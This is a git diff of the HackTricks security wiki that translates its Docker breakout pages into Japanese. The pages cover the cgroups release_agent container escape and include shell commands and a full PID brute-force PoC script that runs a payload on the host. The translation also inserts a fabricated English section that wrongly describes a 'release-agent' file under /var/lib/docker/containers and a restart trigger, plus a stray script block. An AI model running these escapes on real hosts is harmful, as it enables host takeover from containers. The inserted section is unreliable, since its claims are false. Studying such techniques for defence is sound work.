SYS_vfork) continue; - if(i == SYS_pselect6) continue; - if(i == SYS_ppoll) continue; - if(i == SYS_seccomp) continue; - if(i == SYS_vhangup) continue; - if(i == SYS_reboot) continue; - if(i == SYS_shutdown) continue; - if(i == SYS_msgrcv) continue; - printf("Probando: 0x%03x . . . ", i); fflush(stdout); - if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM)) - printf("Error\n"); - else - printf("OK\n"); - } +for(int i = 0; i < 333; ++i) +{ +if(i == SYS_rt_sigreturn) continue; +if(i == SYS_select) continue; +if(i == SYS_pause) continue; +if(i == SYS_exit_group) continue; +if(i == SYS_exit) continue; +if(i == SYS_clone) continue; +if(i == SYS_fork) continue; +if(i == SYS_vfork) continue; +if(i == SYS_pselect6) continue; +if(i == SYS_ppoll) continue; +if(i == SYS_seccomp) continue; +if(i == SYS_vhangup) continue; +if(i == SYS_reboot) continue; +if(i == SYS_shutdown) continue; +if(i == SYS_msgrcv) continue; +printf("Probando: 0x%03x . . . ", i); fflush(stdout); +if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM)) +printf("Error\n"); +else +printf("OK\n"); +} } ``` + ```` {% endtab %} {% endtabs %} @@ -651,12 +1009,12 @@ int main() If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode): * Find the **path of the containers filesystem** inside the host - * You can do this via **mount**, or via **brute-force PIDs** as explained in the second release\_agent exploit +* You can do this via **mount**, or via **brute-force PIDs** as explained in the second release\_agent exploit * Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens - * You should be able to **execute the trigger from inside the host** - * You need to know where the containers files are located inside the host to indicate a script you write inside the host +* You should be able to **execute the trigger from inside the host** +* You need to know where the containers files are located inside the host to indicate a script you write inside the host * Have **enough capabilities and disabled protections** to be able to abuse that functionality - * You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container +* You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container ## References diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index 236b742bd..602baa208 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -4,26 +4,25 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* サイバーセキュリティ会社で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -### Breaking down the proof of concept +### Proof of conceptの解説 -To trigger this exploit we need a cgroup where we can create a `release_agent` file and trigger `release_agent` invocation by killing all processes in the cgroup. The easiest way to accomplish that is to mount a cgroup controller and create a child cgroup. +このエクスプロイトをトリガーするためには、`release_agent`ファイルを作成し、cgroup内のすべてのプロセスをキルして`release_agent`を呼び出すことができるcgroupが必要です。これを実現する最も簡単な方法は、cgroupコントローラをマウントし、子cgroupを作成することです。 -To do that, we create a `/tmp/cgrp` directory, mount the [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroup controller and create a child cgroup (named “x” for the purposes of this example). While every cgroup controller has not been tested, this technique should work with the majority of cgroup controllers. +それを行うために、`/tmp/cgrp`ディレクトリを作成し、[RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroupコントローラをマウントし、子cgroup(この例では「x」という名前)を作成します。すべてのcgroupコントローラがテストされているわけではありませんが、このテクニックはほとんどのcgroupコントローラで動作するはずです。 -If you’re following along and get **`mount: /tmp/cgrp: special device cgroup does not exist`**, it’s because your setup doesn’t have the RDMA cgroup controller. **Change `rdma` to `memory` to fix it**. We’re using RDMA because the original PoC was only designed to work with it. +もしも **`mount: /tmp/cgrp: special device cgroup does not exist`** と表示された場合は、お使いの環境にRDMA cgroupコントローラが存在しないためです。**`rdma`を`memory`に変更して修正してください**。RDMAを使用しているのは、元のPoCがそれに対してのみ動作するように設計されていたためです。 -Note that cgroup controllers are global resources that can be mounted multiple times with different permissions and the changes rendered in one mount will apply to another. - -We can see the “x” child cgroup creation and its directory listing below. +cgroupコントローラはグローバルリソースであり、異なる権限で複数回マウントすることができ、1つのマウントで行われた変更は他のマウントにも適用されることに注意してください。 +以下に「x」の子cgroupの作成とそのディレクトリリストを示します。 ```shell-session root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x root@b11cf9eab4fd:/# ls /tmp/cgrp/ @@ -31,28 +30,28 @@ cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release re root@b11cf9eab4fd:/# ls /tmp/cgrp/x cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks ``` +次に、`notify_on_release`ファイルに1を書き込むことで、「x」cgroupのリリース時にcgroup通知を有効にします。また、RDMA cgroupのリリースエージェントを、コンテナ内で後で作成する`/cmd`スクリプトを実行するように設定します。これを行うために、ホスト上の`release_agent`ファイルにホスト上の`/cmd`スクリプトのパスを書き込みます。これにより、コンテナ内のパスとホスト上のパスの両方からファイルを追加または変更することが可能です。 -Next, we **enable cgroup** notifications on release of the “x” cgroup by **writing a 1** to its `notify_on_release` file. We also set the RDMA cgroup release agent to execute a `/cmd` script — which we will later create in the container — by writing the `/cmd` script path on the host to the `release_agent` file. To do it, we’ll grab the container’s path on the host from the `/etc/mtab` file. - -The files we add or modify in the container are present on the host, and it is possible to modify them from both worlds: the path in the container and their path on the host. - -Those operations can be seen below: - +以下に、これらの操作を示します。 ```shell-session root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` - -Note the path to the `/cmd` script, which we are going to create on the host: - +ホスト上に作成する `/cmd` スクリプトのパスに注意してください: ```shell-session root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd ``` +次に、`/cmd`スクリプトを作成します。このスクリプトは`ps aux`コマンドを実行し、その出力をコンテナ内の`/output`に保存します。ホスト上の出力ファイルのフルパスを指定します。最後に、`/cmd`スクリプトの内容を表示します。 -Now, we create the `/cmd` script such that it will execute the `ps aux` command and save its output into `/output` on the container by specifying the full path of the output file on the host. At the end, we also print the `/cmd` script to see its contents: +```bash +#!/bin/bash +ps aux > /output + +cat /cmd +``` ```shell-session root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd @@ -61,9 +60,7 @@ root@b11cf9eab4fd:/# cat /cmd #!/bin/sh ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output ``` - -Finally, we can execute the attack by spawning a process that immediately ends inside the “x” child cgroup. By creating a `/bin/sh` process and writing its PID to the `cgroup.procs` file in “x” child cgroup directory, the script on the host will execute after `/bin/sh` exits. The output of `ps aux` performed on the host is then saved to the `/output` file inside the container: - +最後に、攻撃を実行することができます。まず、即座に終了するプロセスを「x」の子cgroup内で生成します。`/bin/sh`プロセスを作成し、そのPIDを「x」の子cgroupディレクトリ内の`cgroup.procs`ファイルに書き込むことで、ホスト上のスクリプトが`/bin/sh`の終了後に実行されます。次に、ホスト上で実行された`ps aux`の出力をコンテナ内の`/output`ファイルに保存します。 ```shell-session root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" root@b11cf9eab4fd:/# head /output @@ -78,8 +75,7 @@ root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0] root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched] root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0] ``` - -### References +### 参考文献 * [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) @@ -87,10 +83,10 @@ root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0] ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md index a574cb47e..652a82da0 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md @@ -1,56 +1,49 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したい**ですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Introduction +# はじめに -The previous PoCs work fine when the container is configured with a storage-driver which exposes the **full host path of the mount point**, for example `overlayfs`, however there are configurations which did **not obviously disclose the host file system mount point**. +前のPoCは、コンテナが**マウントポイントのホストパスを公開する**ストレージドライバで構成されている場合には問題ありませんが、**ホストファイルシステムのマウントポイントが明示的に開示されていない**構成もあります。 -In this PoC instead of using the path where the container is located inside the hosts filesystem, we are going to discover a container PID inside the host a +このPoCでは、ホスト内のコンテナPIDを見つけるために、ホストファイルシステム内のコンテナが配置されているパスの代わりに、相対パスを使用します。 -## Examples of container not exposing the path location inside the host +## ホスト内のパスの場所を公開しないコンテナの例 ### Kata Containers - ``` root@container:~$ head -1 /etc/mtab kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio) ``` +[Kata Containers](https://katacontainers.io)はデフォルトでコンテナのルートファイルシステムを`9pfs`上にマウントします。これにより、Kata Containers仮想マシン内のコンテナファイルシステムの場所に関する情報は漏洩しません。 -[Kata Containers](https://katacontainers.io) by default mounts the root fs of a container over `9pfs`. This discloses no information about the location of the container file system in the Kata Containers Virtual Machine. - -### Device Mapper - +### デバイスマッパー ``` root@container:~$ head -1 /etc/mtab /dev/sdc / ext4 rw,relatime,stripe=384 0 0 ``` - -I saw a container with this root mount in a live environment, I believe the container was running with a specific `devicemapper` storage-driver configuration, but at this point I have been unable to replicate this behaviour in a test environment. +私はライブ環境でこのルートマウントを持つコンテナを見ました。コンテナは特定の`devicemapper`ストレージドライバの設定で実行されていると思いますが、テスト環境でこの動作を再現することができませんでした。 # PoC -The one key piece of information required is the **full path, relative to the container host, of a file to execute within the container**. Without being able to discern this from mount points within the container we have to look elsewhere. +必要なのは、コンテナ内で実行するファイルの**コンテナホストに対する完全なパス(相対)**です。コンテナ内のマウントポイントからこれを判別することができない場合、他の場所を探す必要があります。 ## /proc/\/root -The Linux `/proc` pseudo-filesystem exposes kernel process data structures for all processes running on a system, including those running in different namespaces, for example within a container. This can be shown by running a command in a container and accessing the `/proc` directory of the process on the host:Container - +Linuxの`/proc`擬似ファイルシステムは、システム上で実行されているすべてのプロセス、例えばコンテナ内のプロセスを含む、異なるネームスペースで実行されているプロセスのカーネルプロセスデータ構造を公開します。これは、コンテナ内でコマンドを実行し、ホスト上のプロセスの`/proc`ディレクトリにアクセスすることで示すことができます。 ```bash root@container:~$ sleep 100 ``` @@ -74,17 +67,15 @@ lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> / -rw-r--r-- 1 root root 0 Nov 19 10:29 sched ... ``` - -_As an aside, the `/proc//root` data structure is one that confused me for a very long time, I could never understand why having a symbolic link to `/` was useful, until I read the actual definition in the man pages:_ +_ちなみに、`/proc//root`データ構造は、私が非常に長い間混乱していたものでした。なぜ`/`へのシンボリックリンクが有用なのか理解できませんでしたが、manページの実際の定義を読んでから理解できました。_ > /proc/\[pid]/root > -> UNIX and Linux support the idea of a per-process root of the filesystem, set by the chroot(2) system call. This file is a symbolic link that points to the process’s root directory, and behaves in the same way as exe, and fd/\*. +> UNIXとLinuxは、chroot(2)システムコールによって設定されるプロセスごとのファイルシステムのルートをサポートしています。このファイルは、プロセスのルートディレクトリを指すシンボリックリンクであり、exeやfd/\*と同じように動作します。 > -> Note however that this file is not merely a symbolic link. It provides the same view of the filesystem (including namespaces and the set of per-process mounts) as the process itself. - -The **`/proc//root` symbolic link can be used as a host relative path to any file within a container**: +> ただし、このファイルは単なるシンボリックリンクではありません。プロセス自体と同じファイルシステムのビュー(名前空間とプロセスごとのマウントのセットを含む)を提供します。 +**`/proc//root`シンボリックリンクは、コンテナ内の任意のファイルへのホスト相対パスとして使用できます**: ```bash root@container:~$ echo findme > /findme root@container:~$ sleep 100 @@ -94,22 +85,49 @@ root@container:~$ sleep 100 root@host:~$ cat /proc/`pidof sleep`/root/findme findme ``` - {% hint style="warning" %} -**This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of **_**any**_** process running in the container.** +**攻撃の要件が、コンテナ内のファイルの完全なパスを知ることから、コンテナ内で実行されている**_**任意の**_**プロセスのpidを知ることに変更されます。** {% endhint %} ## Pid Bashing -This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The `init` process is assigned process id `1` and all subsequent processes are assigned incremental ids. To identify the **host process id of a process within a container, a brute force incremental search can be used**: - +これは実際には簡単な部分です。Linuxでは、プロセスIDは数値であり、順次割り当てられます。`init`プロセスにはプロセスID `1`が割り当てられ、それ以降のプロセスには増分のIDが割り当てられます。**コンテナ内のプロセスのホストプロセスIDを特定するために、ブルートフォースの増分検索が使用されます**: ``` root@container:~$ echo findme > /findme root@container:~$ sleep 100 ``` +# Docker Breakout Privilege Escalation: Release Agent Exploit (Relative Paths to PIDs) -Host +## Introduction +In this technique, we will exploit the release agent feature in Docker to escalate privileges and break out of the container. The release agent is a script that is executed when a container is stopped or killed. By manipulating the release agent script, we can execute arbitrary commands with root privileges on the host system. + +## Exploit Steps + +1. Identify the release agent script: The release agent script is usually located at `/var/lib/docker/containers//release-agent`. We need to find the container ID first. + +2. Find the container ID: We can use the `docker ps` command to list all running containers and their IDs. + +3. Locate the release agent script: Once we have the container ID, we can navigate to the corresponding directory using the command `cd /var/lib/docker/containers//`. + +4. Edit the release agent script: We can use any text editor to modify the release agent script. Add the desired commands that will be executed with root privileges on the host system. + +5. Save and exit the text editor: After making the necessary changes, save the file and exit the text editor. + +6. Restart the container: Restart the container using the `docker restart ` command. This will trigger the execution of the modified release agent script. + +7. Verify the privilege escalation: Check if the commands added to the release agent script were executed successfully on the host system. + +## Mitigation + +To prevent this privilege escalation technique, follow these best practices: + +- Regularly update Docker to the latest version to ensure that security vulnerabilities are patched. +- Limit the use of the release agent feature and only allow trusted scripts to be executed. +- Implement strict access controls and permissions for Docker containers and the host system. +- Monitor and log all Docker container activities for suspicious behavior. + +By following these mitigation measures, you can reduce the risk of privilege escalation through the release agent exploit. ```bash root@host:~$ COUNTER=1 root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done @@ -118,15 +136,13 @@ root@host:~$ echo ${COUNTER} root@host:~$ cat /proc/${COUNTER}/root/findme findme ``` +## すべてを組み合わせる -## Putting it All Together +この攻撃を完了するために、ブルートフォース技術を使用して、パス `/proc//root/payload.sh` の PID を推測することができます。**各反復ごとに**、推測された pid パスを cgroups の `release_agent` ファイルに書き込み、`release_agent` をトリガーし、出力ファイルが作成されるかどうかを確認します。 -To complete this attack the brute force technique can be used to **guess the PID for the path `/proc//root/payload.sh`**, with **each iteration** writing the guessed pid **path to the cgroups `release_agent` file, triggering the `release_agent`**, and seeing if an output file is created. - -The only caveat with this technique is it is in no way shape or form subtle, and can increase the pid count very high. As no long running processes are kept running this _should_ not cause reliability issues, but don’t quote me on that. - -The below PoC implements these techniques to provide a more generic attack than first presented in Felix’s original PoC for escaping a privileged container using the **cgroups `release_agent` functionality**: +この技術の唯一の注意点は、それが決して微妙な方法ではなく、pid の数を非常に高くすることができるということです。長時間実行されるプロセスは実行されないため、信頼性の問題は発生しないはずですが、私の言葉を引用しないでください。 +以下の PoC は、**cgroups の `release_agent` 機能**を使用して特権コンテナからの脱出を実現するために、Felix の元の PoC で最初に提示されたものよりも一般的な攻撃を提供するためにこれらの技術を実装しています。 ```bash #!/bin/sh @@ -165,20 +181,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release TPID=1 while [ ! -f ${OUTPUT_PATH} ] do - if [ $((${TPID} % 100)) -eq 0 ] - then - echo "Checking pid ${TPID}" - if [ ${TPID} -gt ${MAX_PID} ] - then - echo "Exiting at ${MAX_PID} :-(" - exit 1 - fi - fi - # Set the release_agent path to the guessed pid - echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent - # Trigger execution of the release_agent - sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" - TPID=$((${TPID} + 1)) +if [ $((${TPID} % 100)) -eq 0 ] +then +echo "Checking pid ${TPID}" +if [ ${TPID} -gt ${MAX_PID} ] +then +echo "Exiting at ${MAX_PID} :-(" +exit 1 +fi +fi +# Set the release_agent path to the guessed pid +echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent +# Trigger execution of the release_agent +sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" +TPID=$((${TPID} + 1)) done # Wait for and cat the output @@ -186,9 +202,7 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` - -Executing the PoC within a privileged container should provide output similar to: - +特権付きコンテナ内でPoCを実行すると、次のような出力が得られるはずです。 ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 @@ -216,8 +230,7 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` - -# References +# 参考文献 * [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html) @@ -226,16 +239,14 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index e827f97f3..077b9278e 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -1,128 +1,119 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
